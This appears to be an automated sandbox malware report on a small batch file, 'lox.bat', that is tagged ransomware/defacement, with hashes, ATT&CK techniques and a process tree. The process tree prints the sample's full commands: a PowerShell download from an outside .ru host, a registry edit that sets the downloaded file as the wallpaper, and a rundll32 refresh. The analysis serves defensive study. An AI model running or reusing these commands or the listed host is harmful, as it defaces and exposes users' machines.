39654870e177b640399ffcb4d5b1f5d1c7f2508ba08f4d9efa79765452903651

Analysis

max time kernel
15s
max time network
19s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
14/06/2024, 09:52

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General

Target

lox.bat
Size

463B
MD5

0a0dad6f1529979c6002f25724cc817f
SHA1

b7b20bb92a980976439f57cfb5ad200c5622331e
SHA256

39654870e177b640399ffcb4d5b1f5d1c7f2508ba08f4d9efa79765452903651
SHA512

cf55999b5050c718cb1d99259cde88e89ef95db3ae8f603fdd50e92704b0e2158ae975d8011cc4eac26be661ee0d1523a77b63a5138d8b45af4752297265e32e

Score

10^/10

execution ransomware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://a0995400.xsph.ru/chuchelko.png

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3560	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3665033694-1447845302-680750983-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.png"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3560	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3560	powershell.exe
3560	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3560	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 3560	2892	cmd.exe	90
PID 2892 wrote to memory of 3560	2892	cmd.exe	90
PID 2892 wrote to memory of 2404	2892	cmd.exe	94
PID 2892 wrote to memory of 2404	2892	cmd.exe	94
PID 2892 wrote to memory of 4756	2892	cmd.exe	95
PID 2892 wrote to memory of 4756	2892	cmd.exe	95

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\lox.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://a0995400.xsph.ru/chuchelko.png', 'C:\Users\Admin\AppData\Local\Temp\wallpaper.png')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3560
- C:\Windows\system32\reg.exe
  reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\wallpaper.png" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:2404
- C:\Windows\system32\rundll32.exe
  rundll32.exe user32.dll, UpdatePerUserSystemParameters
  2⤵
  PID:4756

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4236,i,1400471177590024469,587385956640537806,262144 --variations-seed-version --mojo-platform-channel-handle=4152 /prefetch:8
1⤵
PID:3492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfyjtjxj.cir.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3560-0-0x00007FFB055F0000-0x00007FFB05612000-memory.dmp

Filesize
136KB

Download
memory/3560-1-0x0000021377220000-0x0000021377242000-memory.dmp

Filesize
136KB

Download